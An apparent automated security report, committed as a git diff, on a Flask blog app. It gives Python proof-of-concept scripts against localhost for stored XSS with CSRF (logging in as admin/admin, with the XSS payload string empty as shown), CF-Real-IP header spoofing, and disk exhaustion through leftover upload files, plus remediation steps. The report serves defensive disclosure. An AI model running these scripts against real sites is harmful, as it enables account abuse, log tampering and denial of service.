diff --git a/ai/security_report_2026-03-10_blog-eletrix-fr.md b/ai/security_report_2026-03-10_blog-eletrix-fr.md new file mode 100644 index 0000000..93e10e5 --- /dev/null +++ b/ai/security_report_2026-03-10_blog-eletrix-fr.md @@ -0,0 +1,106 @@ +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-10 +CRITICAL - Stored Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) +The application is vulnerable to Stored XSS in the blog post creation and viewing features. The `markdown2.markdown` call does not sanitize input, and the resulting HTML is rendered using the `|safe` filter in `post.html`. This allows an attacker to inject and execute arbitrary JavaScript in the browsers of users who view the malicious post. Additionally, the `/create_post` and `/login` routes lack CSRF protection, allowing an attacker to perform actions on behalf of a logged-in user, such as creating a malicious post via a cross-site request. + +PoC +```python +import urllib.request +import urllib.parse +import http.cookiejar + +# Configuration +BASE_URL = "http://localhost:5000" +LOGIN_URL = f"{BASE_URL}/login" +CREATE_POST_URL = f"{BASE_URL}/create_post" + +# 1. Login to get session cookie (Simulating CSRF by having an active session) +cj = http.cookiejar.CookieJar() +opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + +login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8') +opener.open(LOGIN_URL, login_data) + +# 2. Perform CSRF to create a post with XSS payload +xss_payload = "" +post_data = urllib.parse.urlencode({ + 'title': 'XSS_Test', + 'author': 'Attacker', + 'tags': 'security', + 'content': f"This post contains XSS: {xss_payload}" +}).encode('utf-8') + +opener.open(CREATE_POST_URL, post_data) +# Vulnerability can be triggered by viewing http://localhost:5000/post/XSS_Test +``` + +Fix +1. Implement CSRF protection using `Flask-WTF` to ensure all state-changing requests originate from the application. +2. Sanitize HTML content before rendering. Enable `safe_mode` in `markdown2` or use a library like `bleach` to strip dangerous tags and attributes before passing content to the template. + +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-10 +MEDIUM - IP Spoofing via 'CF-Real-IP' Header +The application trusts the `CF-Real-IP` header provided in requests to determine the user's IP address in the `inject_variables` context processor. This header can be easily spoofed by an attacker, potentially bypassing IP-based security measures or corrupting logs and application state. + +PoC +```python +import urllib.request +URL = "http://localhost:5000/" +spoofed_ip = "1.2.3.4" +req = urllib.request.Request(URL, headers={'CF-Real-IP': spoofed_ip}) +with urllib.request.urlopen(req) as response: + # The application context will now believe the user IP is 1.2.3.4 + print(f"Request sent with spoofed IP: {spoofed_ip}") +``` + +Fix +Only trust the `CF-Real-IP` header if the application is confirmed to be running behind a trusted Cloudflare proxy. Use `request.remote_addr` by default, or implement a trusted-proxy configuration that only accepts these headers from known, trusted IP addresses. + +==== + +Auto Security Analysis of blog-eletrix-fr at 2026-03-10 +LOW - File Upload Temporary File Leakage (Potential Denial of Service) +The `/upload` route saves uploaded files to the `temp_uploads/` directory before processing them with Pillow. If an uploaded file is not a valid image, Pillow will raise an exception, causing the route to return a 500 error without deleting the temporary file. This allows an attacker to repeatedly upload non-image files to exhaust disk space on the server. + +PoC +```python +import urllib.request +import urllib.parse +import http.cookiejar + +BASE_URL = "http://localhost:5000" +UPLOAD_URL = f"{BASE_URL}/upload/" + +# Login and upload a non-image file +cj = http.cookiejar.CookieJar() +opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) +opener.open(f"{BASE_URL}/login", urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')) + +boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW' +body = (f'--{boundary}\r\n' + 'Content-Disposition: form-data; name="file"; filename="dos.txt"\r\n' + 'Content-Type: text/plain\r\n\r\n' + 'Malicious non-image content\r\n' + f'--{boundary}--\r\n').encode('utf-8') + +req = urllib.request.Request(UPLOAD_URL, data=body) +req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}') +try: + opener.open(req) +except: + pass # Expected 500 error +# Check temp_uploads/ on the server to see 'dos.txt' persisting. +``` + +Fix +Wrap the file processing logic in a `try...finally` block in `routes/upload.py` to ensure that the temporary file is deleted regardless of whether processing succeeds or fails. + +==== + +Summary: +- CRITICAL: Stored XSS and CSRF in blog post creation and authentication. +- MEDIUM: IP Spoofing through trusted header manipulation. +- LOW: Denial of Service potential via temporary file leakage in the upload system.